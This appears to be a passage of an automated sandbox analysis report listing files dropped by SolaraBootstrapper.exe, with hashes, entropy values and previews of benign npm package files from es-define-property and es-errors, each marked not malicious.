Encrypted:	false
SSDEEP:	3:n+F2fIqX8YToqFKeJqXlPBiEQ0IqX1:62fIDYTxeiEIw
MD5:	83F6BF3823D12D8ED1424DF7A35A58F8
SHA1:	B1B224DEA8E61930F427A3BEB9A5FC51E58024BF
SHA-256:	26F10CC22A24B23DB7CD41FF339C907121EF7F518E0FE347B48A05F1BF0F7CBF
SHA-512:	F53EE769E8481FF44A3F07950A20123CA53D176EF4CFA14794270FE091BFCE04B48871F193ADA22A23FE218BBDB71D0FEFC80C506631145899D37E0FB0C3D114
Malicious:	false
Preview:	declare const defineProperty: false \| typeof Object.defineProperty;..export = defineProperty;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	4.9635670584718765
Encrypted:	false
SSDEEP:	6:QmRQgNMmBSVWKmBkMNos0b7WAdHmMNaM8zNJCqcWL9y1OKGIRBV3IYBDa:9RQt0UmOx3WAtUPBc+y1wADBO
MD5:	B7BC620DD53AA6A7DD2EC301305117FE
SHA1:	B9844CDED75ED1BC40675391ECA0BBC19DEDF42B
SHA-256:	9C4B9A7EDAFEB02D872B9AD6258154311FD4F43CDF719E2DE736973C016219D9
SHA-512:	8D92D968347FE07872F7E6C9081493B987D9C61E2D7FA27D6F0ACDB82F9A7BABC4B6AB8563ABB7964F67CE86C5DE47E803E81D8BD06F3BB455E12C2ABE5AD011
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');../** @type {import('.')} */.var $defineProperty = GetIntrinsic('%Object.defineProperty%', true) \|\| false;.if ($defineProperty) {..try {...$defineProperty({}, 'a', { value: 1 });..} catch (e) {...// IE 8 has a broken defineProperty...$defineProperty = false;..}.}..module.exports = $defineProperty;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	5.127618551632557
Encrypted:	false
SSDEEP:	48:R/SmRYCZUPagS4j0fzyRYsEg4K3WsdcbfhmfSowg:A1CS4B3K3WGfN
MD5:	C4725FBA887A7FF0AC3858D435A1B240
SHA1:	C507E0B1CF2597B64A19AF048A41DC1B02FD7FB9
SHA-256:	987919FE29FF5DEBD1274B79E456265A64827269AD681313E845C8E646217EBC
SHA-512:	531E6B03FFE25C6ACF0C6DD453D4C3756A17498018F1B493ACFD8D4253F00CF71052C4BDDEBA158BF927AFED286621C3E06C25121A27DC84E0ECA37630103D74
Malicious:	false
Preview:	{.."name": "es-define-property",.."version": "1.0.0",.."description": "`Object.defineProperty`, but not IE 8's broken one.",.."main": "index.js",.."types": "./index.d.ts",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/es-define-prop

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.942737590100003
Encrypted:	false
SSDEEP:	24:zj2fP4+l6f8DEatCnWk6I08uC15k6Y97ccDGRfEW:zj1AtCnW+yC15o9ZqREW
MD5:	8B33AC3F76B3AD73E60EA886D97245E5
SHA1:	DF572E1408CDF0A4BE5D1D6898837F82DA7233F1
SHA-256:	643BE90198BAF64C2A766C7C373AE0BEBBF5F8717ED60D82437B5807CBDE1CA4
SHA-512:	73B7F867FB282EAF9A847597E408741C7FEFBC96812499B71F7CC1E0994BCEB3B5AA153DD1CE0A429CC70A560B0345371F56F2BEB51E2D1840ADEBCCB32E5841
Malicious:	false
Preview:	'use strict';..var $defineProperty = require('../');..var test = require('tape');.var gOPD = require('gopd');..test('defineProperty: supported', { skip: !$defineProperty }, function (t) {..t.plan(4);...t.equal(typeof $defineProperty, 'function', 'defineProperty is supported');..if ($defineProperty && gOPD) { // this `if` check is just to shut TS up...var o = { a: 1 };....$defineProperty(o, 'b', { enumerable: true, value: 2 });...t.deepEqual(....gOPD(o, 'b'),....{.....configurable: false,.....enumerable: true,.....value: 2,.....writable: false....},....'property descriptor is as expected'...);....$defineProperty(o, 'c', { enumerable: false, value: 3, writable: true });...t.deepEqual(....gOPD(o, 'c'),....{.....configurable: false,.....enumerable: false,.....value: 3,.....writable: true....},....'property descriptor is as expected'...);..}...t.equal($defineProperty, Object.defineProperty, 'defineProperty is Object.defineProperty');...t.end();.});..test('defineProperty: not supported', { s

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	4.736326326543835
Encrypted:	false
SSDEEP:	48:cj+2nTY8LdkWoltx4I8OjMGqoqZjuJGJkeGzJfYMT2s+Tmz:I+WWtx4ITjDqoql+Ok3AMqs+Tmz
MD5:	D8A043C42FC4D89057F4DD4BE72C3EA9
SHA1:	47D00B1A54AFD2080104036E09A565C8F9F670DF
SHA-256:	55D3CA9EE2A017D8D9A969C47FD7623B4619CDD29010B5CDECBF7C88B42D23A7
SHA-512:	C9966A66202E6F816AE76A855B0E116E2E1C09C2D81BD42D940B3464467E526DE85AD0F2DB320DBB5FDEDA6793B750E2D445F7510C743031FB3BF13D94441B42
Malicious:	false
Preview:	{.."compilerOptions": {.../* Visit https://aka.ms/tsconfig.json to read more about this file /..../ Projects /..../ Language and Environment /..."target": "es2022",................./ Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /...// "lib": [],..................../ Specify a set of bundled library declaration files that describe the target runtime environment. /...// "noLib": true,................../ Disable including any library files, including the default lib.d.ts. /..."useDefineForClassFields": true,.......... / Emit ECMAScript-standard-compliant class fields. /...// "moduleDetection": "auto",............/ Control what method is used to detect module-format JS files. /..../ Modules /..."module": "commonjs",................/ Specify what module code is generated. /...// "rootDir": "./",................./ Specify the root folder within your source files. /...// "moduleResolution": "node",........... / S

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.231286196905489
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hg:ExL0UA
MD5:	C28B0FE9BE6E306CC2AD30FE00E3DB10
SHA1:	AF79C81BD61C9A937FCA18425DD84CDF8317C8B9
SHA-256:	0694050195FC694C5846B0A2A66B437AC775DA988F0A779C55FB892597F7F641
SHA-512:	E3ECA17804522FFA4F41E836E76E397A310A20E8261A38115B67E8B644444153039D04198FB470F45BE2997D2C7A72B15BD4771A02C741B3CBC072EA6EF432E9
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	555
Entropy (8bit):	4.598154648044777
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMrnplgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgOlg7g1GegJ9gEzgs
MD5:	37AE5D0FAB969F9F8C92B853CFAA1501
SHA1:	99ACF15E50F39182C08F88DDEB4DCE2B3BCCF07A
SHA-256:	5CFFDEEEE604FDF21F64369BF526C2C707377F01FDF1D816B204422CDE144CE9
SHA-512:	05EBE90B56F4E19B2904F92516F73679B8959FE8419A693644C9268BBA16AD14648AD871F4F7FE1B5A258FDB727FCCEE888A6A0F0D73581713A0D666481BBC05
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/es-errors.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1833
Entropy (8bit):	5.305276854847369
Encrypted:	false
SSDEEP:	24:EIKpjXWTIppzi9CQDGibZqaksPEXvdui/HCG9XHJoBkh5sJCnu:E5yEpw9CQaiNqfssXv9C6HXu
MD5:	BEBCA175C8B27C2384C047D436940C97
SHA1:	13FE14B3BEF08F16B534896D29160119583704D1
SHA-256:	F21CE3B58B9C00181C38429F5F5F07438675FB519C749E4CC9EDD7C661A00DAF
SHA-512:	E9CB670C6EC090245D2C76C2CF0CBF6E0B674FA9D730EB1780E329D3A3BDB4295DB3D323B06F5AB636F89EAC56A74AC56BE892A73E0C3A924AF0BB267A8EDC67
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.3.0](https://github.com/ljharb/es-errors/compare/v1.2.1...v1.3.0) - 2024-02-05..### Commits..- [New] add `EvalError` and `URIError` [`1927627`](https://github.com/ljharb/es-errors/commit/1927627ba68cb6c829d307231376c967db53acdf)..## [v1.2.1](https://github.com/ljharb/es-errors/compare/v1.2.0...v1.2.1) - 2024-02-04..### Commits..- [Fix] add missing `exports` entry [`5bb5f28`](https://github.com/ljharb/es-errors/commit/5bb5f280f98922701109d6ebb82eea2257cecc7e)..## [v1.2.0](https://github.com/ljharb/es-errors/compare/v1.1.0...v1.2.0) - 2024-02-04..### Commits..- [New] add `ReferenceError` [`6d8cf5b`](https://github.com/ljharb/es-errors/commit/6d8cf5bbb6f3f598d02cf6f30e468ba2caa8e143)..## [v1.1.0](https://github.com/ljharb/es-errors/co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.101229758424099
Encrypted:	false
SSDEEP:	24:BPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:psaJHlxE3dQHOs5exm3ogFh
MD5:	8FE23EA421AAF9F9D687709F6A6A09B7
SHA1:	A47868AB90B532DF82ABE3E4F507BCB2EA441364
SHA-256:	5E325595B4EA8CFEC3802F545B1DEF5D7B73E4A5B8E9BA63E32A320F67732292
SHA-512:	8ACD3B84F3AFA8C6FF9C1A58AB774EA33AEC7701C022BA8F4D36218A8D1C03E80EF2EE1D692DBD43DBF5883153137C5E000F113B98DA23D870DFAB6F71B78AFA
Malicious:	false
Preview:	MIT License..Copyright (c) 2024 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2114
Entropy (8bit):	5.040337627766631
Encrypted:	false
SSDEEP:	48:51eI4I7qSTaACc/WEGH3vu+cmIEIL0I7Idv:TXFeSGvc/SXgLxMt
MD5:	539D6F055ADF72086ED5AC03531E0433
SHA1:	778FC234148953463040855B1111ED9CC295D030
SHA-256:	176EC91DB928C929508ABF9917EBC35DD66E5EA1A989AC3E7AB290496D32C0D6
SHA-512:	C3A68D2C584930FF19CCA0E85DE9BCEAA7CE1F9F99159663C94203137EFF8E85DB1FB5E6F38B037B02C7A4C3FAD9D9FAB3570977B986A03F0AEEC3D47B3F84F5
Malicious:	false
Preview:	# es-errors <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..A simple cache for a few of the JS Error constructors...## Example..```js.const assert = require('assert');..const Base = require('es-errors');.const Eval = require('es-errors/eval');.const Range = require('es-errors/range');.const Ref = require('es-errors/ref');.const Syntax = require('es-errors/syntax');.const Type = require('es-errors/type');.const URI = require('es-errors/uri');..assert.equal(Base, Error);.assert.equal(Eval, EvalError);.assert.equal(Range, RangeError);.assert.equal(Ref, ReferenceError);.assert.equal(Syntax, SyntaxError);.assert.equal(Type, TypeError);.assert.equal(URI, URIError);.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..## Security..Please emai

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\eval.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	68
Entropy (8bit):	3.971342748931882
Encrypted:	false
SSDEEP:	3:n+FVLfFF4MewaBiLevn:6FfFF44giLw
MD5:	52771F1E8BFADED24362A7069F8ED74D
SHA1:	DC1291CD0BB8D036793E5E2A65264348740C55FE
SHA-256:	82E8FDE67D906608C18EDE0EE67F0EC2221E13FB7DE1576F9FC59E91158DE2E6
SHA-512:	CA1D75019390C53A5BEB8D183FFD115D626E89B11AC3DBAE012A21F66477DAB2D9BD477D73ABC91924774D0C81B618E175191FBF6CAE297D5404C2F9A65A4B81
Malicious:	false
Preview:	declare const EvalError: EvalErrorConstructor;..export = EvalError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\eval.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.6553084442512835
Encrypted:	false
SSDEEP:	3:agW8PPf6VCk783zBbpBevn:QQCVn0zB9Bw
MD5:	1E89F5B29003F4EDB43DF2DD17D42317
SHA1:	3DEDECC34D8C8EC860E4C49E51051F60F4D87F82
SHA-256:	D3161A97F162B483206E9849E41BB17FD54166810C76EBAA1DF068133E54CAAE
SHA-512:	6EDAE4A2C632C3449EA3E3DF655E7666EEFEFA768B6CE1B8C6167618BDC87DC06DFF2F354FF138FEA0A96FE88C01BAD4E6FCCC41B3D2C22998029AD70EA55609
Malicious:	false
Preview:	'use strict';../** @type {import('./eval')} */.module.exports = EvalError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	56
Entropy (8bit):	3.800455077891031
Encrypted:	false
SSDEEP:	3:n+FR8MewaBi9An:6R84gi9A
MD5:	03F65FDBC4C19F3049A2F0602CD8F7B0
SHA1:	B0453E246BB2655859407A005C03A1AE1CBF0555
SHA-256:	032AF142C4E06FCD215E4519D4D1C9C60DBAA63D033CB116ABB5B5A4F6336FBF
SHA-512:	98B84DCC4490AF51A7D80954E8989F6F7C6FF55AB31135FCBA21B07B14DC3B0ACB712151DE89D3F1D1E3C211605EFE2A017E71C73A996BA0B376DDBDDA5BF420
Malicious:	false
Preview:	declare const Error: ErrorConstructor;..export = Error;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.515699377092075
Encrypted:	false
SSDEEP:	3:agW8PPf6VCd1Kv3zBbmKAn:QQCVWKfzBpA
MD5:	F8EBBF637A1AB43A7188D855FDC7787B
SHA1:	46D0FBBFFB2D11BBEF33B5C23FF2014F0F1B7ABE
SHA-256:	28FEE350E89561019CF27EA37A313B4B4995F521FD087198FA235A8F135962DE
SHA-512:	B44F3CD6CAD2E4D3A476BA898BF7D87525D42F013449A935A3DE92BEF973B925805A3FAA9C8C3832CD8BCF121AA9ECB5EFC552E165A5FF3C09D14FD5150C893A
Malicious:	false
Preview:	'use strict';../** @type {import('.')} */.module.exports = Error;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.126600934742982
Encrypted:	false
SSDEEP:	48:QmIiT5RYCC6aKCYZU547agKX0fTRYsEg4jbsdKSowCL:JkCC6aKCY9xA3jbzZ
MD5:	7E6B784827A0AFF2A05C343F8A53E88D
SHA1:	D13BCB37AB6AB7F0911CE728148CB1C8485A81D1
SHA-256:	1A0A0BCCCC76B915CB64073317312840CF6363E9144B96F406D0059774DD5278
SHA-512:	BA218CA690CA74F2E4FECA55F95AE3F1F792B4A067C3133B035265DE2E39CA39A8FDFC7FC18A898FF8CA0A5E2A791121D10708ED564496502DA824A6167292C7
Malicious:	false
Preview:	{.."name": "es-errors",.."version": "1.3.0",.."description": "A simple cache for a few of the JS Error constructors.",.."main": "index.js",.."exports": {...".": "./index.js",..."./eval": "./eval.js",..."./range": "./range.js",..."./ref": "./ref.js",..."./syntax": "./syntax.js",..."./type": "./type.js",..."./uri": "./uri.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."pretest": "npm run lint",..."test": "npm run tests-only",..."tests-only": "nyc tape 'test/*/.js'",..."posttest": "aud --production",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p . && eclint check $(git ls-files \| xargs find 2> /dev/null \| grep -vE 'node_modules\|\\.git' \| grep -v dist/)",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog &&

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\range.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	71
Entropy (8bit):	4.03339931310672
Encrypted:	false
SSDEEP:	3:n+FX60gHDMewaBiDFnn:6qT4gix
MD5:	28AE6AACD62D72D38B235712EF2151A6
SHA1:	79024865F4B0A771E30350C3910C034C966C076E
SHA-256:	7AB8A9B5B7D60CD76C021039F87509F5A13BA0292A3984FB1381B4BA4D79C26C
SHA-512:	51B4CF1751A6FE262BC312E89556CA88566661B54A1339E1A63473F9A8F980DDC6735835BE16117FD0E4C985DDDFA80E6805497D825AD21E74F8DAC52A8224D0
Malicious:	false
Preview:	declare const RangeError: RangeErrorConstructor;..export = RangeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\range.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.691458943991684
Encrypted:	false
SSDEEP:	3:agW8PPf6VCI2ACMx3zBbMCFnn:QQCVJ2IzB4Y
MD5:	BC149F1F9A727B3CE635241092C84A55
SHA1:	23E843A0476AB2BBE089589022CFA2EA627872DD
SHA-256:	E376220F3A0226BD5B09B6D5A1411BBAC274DB8D2D9F7EB723142B7E676374BE
SHA-512:	8218173C907EF499563AF1B33CCA5D8544E9EE602B632AAE42153DDD24ECD2334E87D3D5AA9D81CF97F11DE2CDE37E61229D062EF9A28E3E7D0FBEA0E1F16D7E
Malicious:	false
Preview:	'use strict';../** @type {import('./range')} */.module.exports = RangeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\ref.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	83
Entropy (8bit):	3.8207810054386675
Encrypted:	false
SSDEEP:	3:n+FXAyASaXtwcXAyASaXmDMewaBidAyASaXwn:6Qyta9nQytaI4giCytaA
MD5:	4E3274AD0F043B9C2B0B2C72AEBD34C8
SHA1:	3C0481C511E71DB6ECC554F10242CAFB0C3D478A
SHA-256:	C736BB4552777F1DBA23AA0152B8E41C20A09BBC02FCA1DDE4EA4D1180FEFB04
SHA-512:	6F8E03F0F3362DF13B042EDD8595096A1BBA4A6F7512ECF9715CCBAF80122905F493F2BA708F2022E5EED9FBFA9CE01566AB91995C6A88E5F035AD8DF852C81A
Malicious:	false
Preview:	declare const ReferenceError: ReferenceErrorConstructor;..export = ReferenceError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\ref.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.573802387412566
Encrypted:	false
SSDEEP:	3:agW8PPf6VCMe7P03zBbwyAyASaXwn:QQCVNe7PMzBETytaA
MD5:	219B6E072AEBEB07620CC1FDDDF70185
SHA1:	B86EA9E706E4C9DF6639D12E5F728ACB9B18EF72
SHA-256:	31945F1740A0A2143FB8C38943AFC6CCE5DE5BA6FAB7AF42D17B7874A19A0900
SHA-512:	9FB0646015B5421B7103AB86D16F97C042D94C2D566D189E8743B90EA9CA91D423A6A0B2CEE42BB603DC6E991BA8FC04ACF81B49650113B4260E641E3C354731
Malicious:	false
Preview:	'use strict';../** @type {import('./ref')} */.module.exports = ReferenceError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\syntax.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	74
Entropy (8bit):	4.058679160135773
Encrypted:	false
SSDEEP:	3:n+F7LfMfFPfM4MewaBidLR5Mevn:68fFP044gidL0w
MD5:	BE140BFA1F1D45FCF55EAC78A2555F80
SHA1:	17B6EE5677EECE7445F509BB9A405025029C4396
SHA-256:	7A47E9178209435C05B910D1AAC6FC939721C2CF45A878759C9A855B0B67551F
SHA-512:	B8AE4A5F323EFD8F0A8D5213F855D8E4BE2774386ED45E4428E8E45D82371B769BA94F50D620E5736742FCCDBABE768CDC3C15A0C68E835B858A273DDAE67459
Malicious:	false
Preview:	declare const SyntaxError: SyntaxErrorConstructor;..export = SyntaxError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\syntax.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.677888697874895
Encrypted:	false
SSDEEP:	3:agW8PPf6VCTRE73zBbdl5Mevn:QQCVIRELzBaw
MD5:	0AFBD3A8277DF33593B212951D15E83D
SHA1:	35BC36A396E20F15E42C817205CA259820A7998C
SHA-256:	56574ECD3EB54C06EFD319080CC8923992791E430C914520B85E92C2F5E373F5
SHA-512:	68AC55A4F1204EB9A57024AED80FB02537CF36F7FAF601084EA98D026063FE0127E2D331A10F75E2F6EDE6CD8FA250888DCAA2C19A642499CC095EAAF5B77869
Malicious:	false
Preview:	'use strict';../** @type {import('./syntax')} */.module.exports = SyntaxError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	4.671574563068067
Encrypted:	false
SSDEEP:	6:QcALIzhHIq1z7jEV1J7Ro0Jxj+AJ2RY+AJyTyta3+AJ8H+AJ4WuTS:jSIzhoq1zEFxjJVJevJ8fJAW
MD5:	DCEEEC0A60F808B4E644B3897BED5181
SHA1:	50C0BDA7B8469012BF6D9F951F9AEF57912EEE06
SHA-256:	14E2B88A10618AC3947289F93011DCFC5A2C27FCB585F453F99DE8EE739185F8
SHA-512:	4A89C6AE3840DE13989885CEB225547E1B849FDB87499728BD16E990879D180FE4B8D6125B5C621534509B03188E31460B4871C51AD5A762154139D212248248
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var E = require('../');.var R = require('../range');.var Ref = require('../ref');.var S = require('../syntax');.var T = require('../type');..test('errors', function (t) {..t.equal(E, Error);..t.equal(R, RangeError);..t.equal(Ref, ReferenceError);..t.equal(S, SyntaxError);..t.equal(T, TypeError);...t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3170
Entropy (8bit):	4.728899059215554
Encrypted:	false
SSDEEP:	48:cj12nTY8LdkWoltx4I8OjMGqoqZjuJGJkeGzJfYMT2s+TmC:I1WWtx4ITjDqoql+Ok3AMqs+TmC
MD5:	A028DEACF8E8CAD14B8936A47BC68F0D
SHA1:	26B9D25453F283307EFB19D0E005CF704E3368A6
SHA-256:	539CACFFE5895FCF9A9EB59E3A6A9FADBB41BA3E05339D97E3B55DA34D2C85A4
SHA-512:	D239A3DA47AA3F920BF5B1B0A77A606148527CB8F97DB66C07E5BBE48DB67209DA6F702AFEDEBA77DC2774E852EADF9D00BB873CA46ABD5734A95E81DD973B81
Malicious:	false
Preview:	{.."compilerOptions": {.../* Visit https://aka.ms/tsconfig.json to read more about this file /..../ Projects /..../ Language and Environment /..."target": "es5",................./ Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /...// "lib": [],..................../ Specify a set of bundled library declaration files that describe the target runtime environment. /...// "noLib": true,................../ Disable including any library files, including the default lib.d.ts. /..."useDefineForClassFields": true,.......... / Emit ECMAScript-standard-compliant class fields. /...// "moduleDetection": "auto",............/ Control what method is used to detect module-format JS files. /..../ Modules /..."module": "commonjs",................/ Specify what module code is generated. /...// "rootDir": "./",................./ Specify the root folder within your source files. /...// "moduleResolution": "node",........... / Spec

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\type.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	67
Entropy (8bit):	3.9966704773261528
Encrypted:	false
SSDEEP:	3:n+Fa26DMvJioqUn:6a2UuJiu
MD5:	D352323A3FCAF24866E20A8D3190B72B
SHA1:	3DC9C2535799EF547F5745F62D71BC9B49E678E1
SHA-256:	BF83D189C911C5D6F970C3C6A0DDF5637EFE3DEAFAAD89C31EF4418A2F90487A
SHA-512:	DE779EFF08FCDB3353CFCCB3B9DDF81B905D66BD49B5B1816B31CACEE59811A1786143496AD5690312C79D089FB681691CF53B19F68CC70F5E35B27EA829F981
Malicious:	false
Preview:	declare const TypeError: TypeErrorConstructor..export = TypeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\type.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.539908150490569
Encrypted:	false
SSDEEP:	3:agW8PPf6VCTPYK3zBboVAUn:QQCVu9zBcVt
MD5:	9F2F1F6BB3DC762BC12E377E00E9F775
SHA1:	67ECCB172529A5D24D804C8316DE4A889BFDD985
SHA-256:	C71B2F41C15EDB3824F50DD24DF900495C8CAABA5B6E9A80851B82BB2309827B
SHA-512:	6F5B1C38E3CF8913FB755C184F44323457A541A99DA23EE416939AC5A62B4951A626C1DE8F04E6F7A2127B576627E8A3DF255A5432B8535FC37E856DE169BE9A
Malicious:	false
Preview:	'use strict';../** @type {import('./type')} */.module.exports = TypeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\uri.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.073890062569708
Encrypted:	false
SSDEEP:	3:n+FCB+FEMewaBisJvn:6CB+FE4gie
MD5:	F98771BA2A6F4897F01BC0C07A4C4ECD
SHA1:	B3A1400203D7B8FB2B67BCDB07D34C81EA6025C3
